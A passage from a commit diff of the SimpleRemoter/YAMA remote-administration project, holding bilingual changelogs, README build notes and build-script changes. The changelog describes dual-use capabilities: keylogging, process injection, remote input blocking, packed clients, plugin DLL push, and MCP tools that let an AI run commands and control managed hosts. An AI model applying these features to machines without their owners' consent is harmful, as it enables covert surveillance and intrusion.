- The keylogger hook starved hotkey forwarding (its thread never pumped messages and Windows removed the hook)
- Win-key forwarding stopped while chat was locked (`CallNextHookEx` was skipped, shadowing later hooks)
- Chat messages starting with "e" were dropped (byte 101 was swallowed by the heartbeat guard)
- Stack overflow in recursive file search (`wsprintf` into a `MAX_PATH` buffer with no bound)
- Downloading an empty directory timed out; file-transfer sessions kept dangling sub-connection pointers (`CancelIO` against a recycled connection after a timeout)
- Connection-list addresses were byte-reversed (`192.168.0.55` shown as `55.0.168.192`) and collapsed by a mixed wide/narrow format string
- macOS mouse offset in clamshell mode (now uses the captured display's `CGDisplayBounds`, plus a per-host calibration)
- A batch of machine and task-management defects (scheduled-task command assembly, thawing only one thread, a null dereference on an empty window list, leaked service-enumeration handles, PID truncation and handle leaks when deleting processes, flipped IE history timestamps)
### v1.4.1 (2026.10.20)
**Web operations console & security hardening & one-way TLS**
**New features:**
- **Web screen wall**: monitor several devices in one tab with 1x1 to 5x5 layouts; desktop decodes up to 9 live streams and touch devices 4, tiles over budget show Paused and are promoted automatically; click a tile for single-screen control; the same device can be added repeatedly and shares one stream; supported by both the MFC and Go servers (old frontends / old servers degrade automatically)
- **Security audit log**: login attempts, authorization denials, WebSocket lifecycle, screen / terminal sessions, clipboard (byte counts only), device authentication and admin mutations; the Go server persists to `logs/audit.log`, the MFC server keeps the newest 1000 events in an in-memory ring; new Audit Log page with time / event / actor / IP / device / keyword / warn filters and paging
- **Offline device history (Go)**: `devices.json` persists every device that has ever logged in, and the device list can show offline records; admins can delete a record or remotely uninstall an online device
- **One-way TLS transport**: the device port sniffs ClientHello on the same port, so TLS 1.2 clients are encrypted while legacy plaintext clients keep working; "Extensions > TLS Certificate" configures the MFC server at runtime; a TLS column and a per-client remote enable / disable action (effective on the client's next start)
- **Web remote desktop enhancements**: bidirectional Ctrl+C/X/V text clipboard sync, a phone "I" input box that injects text through the clipboard bridge, login sessions shared across tabs, and an admin-only SSO bridge
- **Client install location**: ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **White-label Go web UI**: `YAMA_WEB_BRAND_NAME` replaces the product name and removes the security notice and external links
- **Security hardening**: per-IP connection and login rate limits, a per-connection inbound buffer cap, source-IP binding for screen / terminal sub-connections, and optional ConnAuth HMAC verification
- **Clone ID deduplication**: the V2 `client_id` folds in the hostname; on a collision the server sends `COMMAND_REGEN_CLIENT_ID` so the client recomputes and reconnects
**Improvements:**
- File-transfer speed is delivered via MasterSettings (fixes duplicate dialogs), and the transfer dialog title shows live speed
- Closing the client chat now hides it; whitelist action in the log context menu; MCP checkmark refreshes immediately; native browser alert/confirm replaced with themed in-app dialogs
- GBK / UTF-8 decoding across non-Chinese systems (dialogs, process list, file lists, paths, geolocation, machine management, clipboard)
**Bug fixes:**
- Hosts did not reconnect after a master restart following share / transfer; share / transfer permission misjudgment
- Expired licenses now renew from today, and prompts and logs show the actually issued date
- V2 quick-folder uploads did not expand `%USERPROFILE%`; webcam-less hosts sent 0x0 bitmap info; stale pixels after column toggles; Go device-port log flood; audit page reset after minimizing the browser
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
+114
View File
@@ -378,6 +378,120 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.4.2 (2026.10.31)
**MCP 維運套件 & WebSocket 傳輸 & 擷取畫面健壯性**
**新功能:**
- **MCP 工具集 27 → 60**:新增主機 / 連線 / 服務 / 排程工作管理(16 個,寫入操作執行前後複核,受 McpMachine / McpMachineDangerous 雙開關)、遠端交談(4 個,McpChat)、檔案系統寫入 delete_path / move_path / create_folder(McpFileWrite)、remote_block_input(帶截止時間與看門狗)、copy_files_c2c(用戶端間直傳,伺服端只中繼不落地)、search_file、get_keylog 擴充、get_server_status、mcp_list_sessions / mcp_cancel_session;離線主機查詢、批次唯讀呼叫(ids ≤ 50)、列表過濾與分頁
- **MCP 協定**:initialize instructions、能力上報(platform / remoteControl / fileTransferV2 / c2cPaths / registry 等)、工具註解(readOnly / destructive / idempotent / openWorld)、結構化結果二次文字區塊、通知取消(-32800)與 progress 進度、dry-run 預演、用戶端結構化失敗權杖(170–173,失敗與空結果可區分)、錯誤碼收斂(參數錯誤 -32012、寫入失敗 -32011)、逾時可經 `McpToolTimeoutMs` 調整
- **MCP 端點**:內建 HTTPS(Schannel 同連接埠依首位元組嗅探,RSA / ECDSA、支援 fullchain、不可用時 fail-closed)、請求本文 2 MB 上限、Bearer 失敗依來源 IP 限流(1 分鐘 10 次封 15 分鐘)、`logs\mcp_audit.log` 稽核
- **WebSocket 傳輸**:新增 PROTO_WS(5) / PROTO_WSS(6),升級路徑 `/api/ws`,只放行 80/443 的網路也能接入;MFC 與 Go 伺服端同一裝置連接埠三路嗅探(明文 / TLS / WS);線上列表右鍵「協定切換」把已線上用戶端在 直連 TCP / WS / WSS 之間遠端切換(COMMAND_SET_PROTO 177,WSS 下發反代信任錨,5 分鐘未登入自動回退)
- **Windows 擷取畫面健壯性**:旋轉顯示器依真實紋理描述配置並直立影像(原首屏與每幀全黑)、DXGI 無幀自動切 GDI(無頭 / Session 0)、工作站鎖定與中斷工作階段直接選 GDI(避免初始化卡死)、保留探測幀讓靜態桌面首幀即出圖、傳送尺寸改為長邊 ≤1920 / 短邊 ≤1080 等比縮放
- **Web 控制台**:非控制模式顯示真實遠端游標(形狀變化即時、位置 ≤50 ms/次);iOS 幽靈豎線(畫布固定 + `ctx.setTransform` 繪製);豎屏輸入法下指標與畫面錯位(覆蓋層與畫布同包含區塊、座標用畫布局部像素);輸入列固定在畫面下緣不再隨鍵盤跳動;Go 端滾輪小數 delta 導致徹底失靈
- **Linux / macOS 用戶端能力補齊**:MCP 一級工具(kill_process / exec_command / 終端 / 遠控 / 剪貼簿)支援 Linux、檔案上傳下載與 C2C 目標支援 POSIX、Linux 遠端升級(COMMAND_UPDATE 校驗 + 原子替換 + execv 回退)、TLS 切換立即生效、螢幕預覽(伺服端統一轉 JPEG)、桌面 / 下載 / 主目錄捷徑依 `user-dirs.dirs` 展開、執行時間依北京時間換算
- **用戶端與主控**:線上列表右鍵「複製名稱」、進階選單與免責聲明補 16×16 圖示、SOCKS5 代理映射移除 HP-Socket 依賴並重寫(阻塞 socket + select、位元組級 SOCKS5 解析、依主連線佇列背壓、30 秒握手看門狗)
**改進:**
- 依賴清單擴充至 23 項 / LICENSE-THIRD-PARTY 至 657 行(10 類授權、33 項元件),並更正 x264(GPL-2.0 靜態連結)、FFmpeg(靜態連結、僅解碼)、FRP(本機修改)三處
- `DISABLE_X264_FOR_TEST` 真正生效(先前既未前置 config.h 也仍引用 x264 型別),libyuv 從該開關解綁
- `build.ps1` 依 `atlmfc` 函式庫存在與否挑選 MSBuild 實例(修復挑到無 ATL 的 BuildTools 時 `LNK1104 atls.lib`)
- 協定切換、SOCKS5 工作階段日誌、複製名稱、MCP 新開關等字串補齊 en_US / zh_TW / de_DE
**Bug 修復:**
- 主控重啟後用戶端重連空轉(一秒 919 行重複日誌刷爆環形緩衝)
- 右鍵選單作用於錯誤主機(虛擬列表列號在選單模態迴圈期間被排序 / 離線挪動)
- 建置對話框預設協定錯位(`CBS_SORT` + `AddString` 致 `SetCurSel(0)` 落在 HTTP)
- 線上列表表頭偶發閃爍(缺 `WS_CLIPCHILDREN`,改為只擦最後一欄右側空帶)
- 加殼用戶端收不到即時訊息 / 遠端交談對話框建立失敗(資源區段為空,改內嵌模板)、非 936 系統標題與本文亂碼、多螢幕居中偏移、視窗與執行緒洩漏
- 鍵盤記錄餓死快速鍵轉發(掛鉤執行緒不泵訊息被系統摘除)
- 鎖定聊天時 Win 鍵不轉發(未 `CallNextHookEx` 擋住後續掛鉤)
- 聊天訊息以 e 開頭被丟棄(首位元組 101 被心跳守衛吞掉)
- 檔案搜尋堆疊溢位(`wsprintf` 無界拼 MAX_PATH,深目錄必崩)
- 空目錄下載逾時;檔案傳輸工作階段子連線懸空指標(逾時後 `CancelIO` 到已回收連線)
- 連線列表位址反序(`192.168.0.55` → `55.0.168.192`)與寬窄字元格式化塌縮
- macOS 合蓋外接螢幕滑鼠偏移(取被抓螢幕的 `CGDisplayBounds`,另加依主機儲存的校準)
- 工作與機器管理一批缺陷(排程工作命令組裝、解凍只恢復一個執行緒、視窗列表空指標、服務列舉控制代碼洩漏、刪除處理程序 PID 判斷與控制代碼、IE 歷程時間戳翻轉等)
### v1.4.1 (2026.10.20)
**Web 維運控制台 & 安全加固 & 單向 TLS**
**新功能:**
- **Web 螢幕牆**:同一分頁以 1×1 ~ 5×5 佈局同時監控多台裝置,桌面 9 路 / 觸控 4 路即時解碼,超出預算暫停並自動晉升;點擊 tile 進入單畫面控制;同一裝置可重複加入並共享一路流;MFC 與 Go 伺服端同步支援(舊前端 / 舊伺服端自動降級)
- **安全稽核日誌**:登入 / 授權拒絕 / WS 生命週期 / 螢幕與終端工作階段 / 剪貼簿(僅位元組數)/ 裝置認證 / 管理變更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 條記憶體環形緩衝;Web 新增稽核日誌查詢頁(時間 / 事件 / 操作者 / IP / 裝置 / 關鍵字 / 告警過濾 + 分頁)
- **離線裝置歷史(Go)**:`devices.json` 持久化所有登入過的裝置,裝置列表可依需顯示離線記錄;管理員可刪除記錄或對線上裝置執行遠端解除安裝
- **單向 TLS 傳輸**:裝置連接埠同一連接埠嗅探 ClientHello,TLS 1.2 用戶端加密、舊明文用戶端不受影響;MFC「擴充 > TLS憑證」執行時設定;線上列表新增 TLS 欄,右鍵可遠端啟用 / 取消(用戶端下次啟動生效)
- **Web 遠端桌面增強**:Ctrl+C/X/V 雙向文字剪貼簿同步、手機「I」輸入框(經剪貼簿橋注入)、登入工作階段跨分頁共享、管理員 SSO 橋接
- **用戶端安裝位置選擇**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **Go Web UI 白標**:`YAMA_WEB_BRAND_NAME` 取代產品名稱並移除安全提示與外部連結
- **安全加固**:每 IP 連線與登入限流、單連線入站緩衝上限、螢幕 / 終端子連線綁定來源 IP、可選 ConnAuth HMAC 校驗
- **複製機 ID 去重**:V2 `client_id` 納入主機名稱,撞 ID 時伺服端下發 `COMMAND_REGEN_CLIENT_ID` 讓用戶端重算重連
**改進:**
- 檔案傳輸速度改由 MasterSettings 下發(修復重複彈窗),傳輸對話框標題即時顯示速度
- 用戶端聊天關閉僅隱藏;日誌右鍵新增白名單;MCP 勾選即時重新整理;Web 原生 alert/confirm 全部替換為主題化應用內對話框
- 非中文系統統一按 GBK / UTF-8 解碼(對話框 / 處理程序列表 / 檔案列表 / 路徑 / 地理位置 / 主機管理 / 剪貼簿)
**Bug 修復:**
- 分享 / 轉移主機後重啟主控不重連;分享 / 轉移權限誤判
- 已過期授權續期從今天起算,提示與日誌顯示實際到期日
- V2 上傳快捷目錄未展開 `%USERPROFILE%`;無攝影機主機傳送 0×0 畫面資訊;欄切換殘留像素;Go 裝置連接埠日誌刷屏;稽核頁最小化後跳回裝置頁
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
+2
View File
@@ -9,6 +9,8 @@
- build.cmd publish:编译YAMA.exe且通过upx压缩,所生成的可执行文件较小。
- buld.cmd server:只编译YAMA.exe,需保证所依赖的客户端程序已经编译。
- build.cmd go-server:编译 Go 服务端,可以选择带publish 参数进行upx压缩。
- build.cmd serverd:编译 Debug 版服务端(x64),输出 Bin\Yama_x64d.exe。
- build.cmd client:编译 Debug 版客户端(x64),输出 x64\Debug\ghost.exe。
## Go 服务端
+3
View File
@@ -591,6 +591,9 @@ static void ConnectionThread()
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
client->setManagerCallBack(nullptr, DataProcess, nullptr);
// 同 Linux/macOS:不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议必须显式喂进去,
// 否则配成 WS/WSS 也只会静默按明文 TCP 直连。Android 没有 TLS 通道,WSS 会 fail-closed。
client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
int g_connAttempt = 0;
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
+6 -1
View File
@@ -1,8 +1,10 @@
@echo off
:: SimpleRemoter Quick Build Script
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server|serverd|client]
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
:: go-server publish Same, plus UPX --best compression
:: serverd Debug server only (x64) -> Bin\Yama_x64d.exe
:: client Debug client (x64) -> x64\Debug\ghost.exe
setlocal enabledelayedexpansion
@@ -21,6 +23,9 @@ if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :par
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
:: Debug presets: serverd = debug server x64 only, client = debug ghost x64 only
if /i "%~1"=="serverd" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
if /i "%~1"=="client" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ClientOnly& shift& goto :parse_args)
echo Unknown argument: %~1
shift
goto :parse_args
+103 -11
View File
@@ -1,9 +1,10 @@
# SimpleRemoter Build Script
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-Clean] [-Publish]
# SimpleRemoter Build Script
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-ClientOnly] [-Clean] [-Publish]
#
# Requirements:
# - Visual Studio 2019 or 2022
# - v142 toolset (MSVC v142 - VS 2019 C++ build tools)
# - ATL (C++ ATL for v142 build tools)
# - MFC libraries (C++ MFC for v142 build tools)
param(
@@ -14,6 +15,7 @@ param(
[string]$Platform = "x64",
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
[switch]$ClientOnly, # Only build the client executable (ghost), skip server
[switch]$Clean, # Clean before build
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
@@ -119,8 +121,27 @@ if ($GoServer) {
exit 0
}
# 判断某个 VS 安装是否带 ATL/MFC 组件。ATL 头文件用 #pragma comment(lib, "atls.lib")
# 自动链接,只装了编译工具(BuildTools)的实例常常没有这一块:编译能过、链接报
# LNK1104 无法打开 atls.lib。同机既装 BuildTools 又装 IDE 时,按路径取第一个会挑错。
function Test-VcAtlPresent {
param([string]$VsRoot)
if (-not $VsRoot) { return $false }
$atlLib = Join-Path $VsRoot "VC\Tools\MSVC\*\atlmfc\lib\x86\atls.lib"
return [bool](Get-ChildItem $atlLib -ErrorAction SilentlyContinue | Select-Object -First 1)
}
# 从 ...\MSBuild\Current\Bin\MSBuild.exe 反推 VS 安装根目录。
function Get-VsRootFromMsBuild {
param([string]$MsBuildPath)
$idx = $MsBuildPath.IndexOf("\MSBuild\", [System.StringComparison]::OrdinalIgnoreCase)
if ($idx -lt 0) { return $null }
return $MsBuildPath.Substring(0, $idx)
}
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools,
# and within that prefer instances that actually carry ATL/MFC.
$msBuildPaths = @(
# VS2019 Insiders/Preview (non-standard path) - has v142 + MFC
"${env:ProgramFiles}\Microsoft Visual Studio\18\*\MSBuild\Current\Bin\MSBuild.exe",
@@ -134,12 +155,17 @@ $msBuildPaths = @(
)
$msBuild = $null
$fallbackMsBuild = $null # 第一个找到的候选(可能不带 ATL),仅在没有带 ATL 的实例时兜底
foreach ($pattern in $msBuildPaths) {
$found = Get-ChildItem $pattern -ErrorAction SilentlyContinue | Select-Object -First 1
if ($found) {
$msBuild = $found.FullName
break
foreach ($found in @(Get-ChildItem $pattern -ErrorAction SilentlyContinue)) {
if (-not $fallbackMsBuild) { $fallbackMsBuild = $found.FullName }
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $found.FullName)) {
$msBuild = $found.FullName
break
}
Write-Host "Skipping MSBuild without ATL/MFC: $($found.FullName)" -ForegroundColor DarkYellow
}
if ($msBuild) { break }
}
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
@@ -147,19 +173,34 @@ foreach ($pattern in $msBuildPaths) {
if (-not $msBuild) {
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vswhere) {
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
Select-Object -First 1
if ($found) { $msBuild = $found }
# 不能用 -requires Microsoft.VisualStudio.Component.VC.ATL 过滤组件 id:
# 各 VS 版本的 id 不一样(v142/v143/预览版),且预览实例可能根本查不到。
# 因此列出全部实例,再逐个用 atls.lib 落地校验(上面那条 glob 只看得到 C 盘,
# VS 装在 D 盘时只能靠这里找到)。
$hits = @(& $vswhere -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null)
foreach ($hit in $hits) {
if (-not $hit) { continue }
if (-not $fallbackMsBuild) { $fallbackMsBuild = $hit }
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $hit)) { $msBuild = $hit; break }
}
}
}
# 一个带 ATL 的实例都没有:仍用兜底候选,让 MSBuild 报出更具体的错误。
if (-not $msBuild -and $fallbackMsBuild) {
Write-Host "WARNING: no VS instance with ATL/MFC found, using $fallbackMsBuild" -ForegroundColor Yellow
Write-Host " Install 'C++ ATL for v142 build tools' if linking fails on atls.lib." -ForegroundColor DarkGray
$msBuild = $fallbackMsBuild
}
if (-not $msBuild) {
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
Write-Host ""
Write-Host "Please install Visual Studio 2019 or 2022 with:" -ForegroundColor Yellow
Write-Host " - Desktop development with C++" -ForegroundColor White
Write-Host " - MSVC v142 - VS 2019 C++ x64/x86 build tools" -ForegroundColor White
Write-Host " - C++ ATL for v142 build tools" -ForegroundColor White
Write-Host " - C++ MFC for v142 build tools" -ForegroundColor White
exit 1
}
@@ -218,6 +259,9 @@ function Build-Project {
Write-Host "If you see 'v142 build tools cannot be found':" -ForegroundColor Yellow
Write-Host " Install 'MSVC v142 - VS 2019 C++ build tools' via VS Installer" -ForegroundColor White
Write-Host ""
Write-Host "If you see 'LNK1104: cannot open file atls.lib':" -ForegroundColor Yellow
Write-Host " Install 'C++ ATL for v142 build tools' via VS Installer" -ForegroundColor White
Write-Host ""
Write-Host "If you see 'MFC libraries are required':" -ForegroundColor Yellow
Write-Host " Install 'C++ MFC for v142 build tools' via VS Installer" -ForegroundColor White
exit 1
@@ -226,6 +270,54 @@ function Build-Project {
Write-Host "OK: $Project" -ForegroundColor Green
}
# Debug client fast path: build the client executable and stop.
# Only ghost is built — the other client projects (ServerDll, TestRun, TinyRun,
# SCLoader) exist to be embedded in the server and are irrelevant when the goal
# is debugging the client itself.
if ($ClientOnly) {
$clientProject = "ghost"
$clientPlatforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
$startTime = Get-Date
Write-Host ""
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " SimpleRemoter Client Build" -ForegroundColor Cyan
Write-Host " Config: $Config" -ForegroundColor Cyan
Write-Host " Platform: $Platform" -ForegroundColor Cyan
Write-Host " VS: $vsYear" -ForegroundColor Cyan
Write-Host " Clean: $Clean" -ForegroundColor Cyan
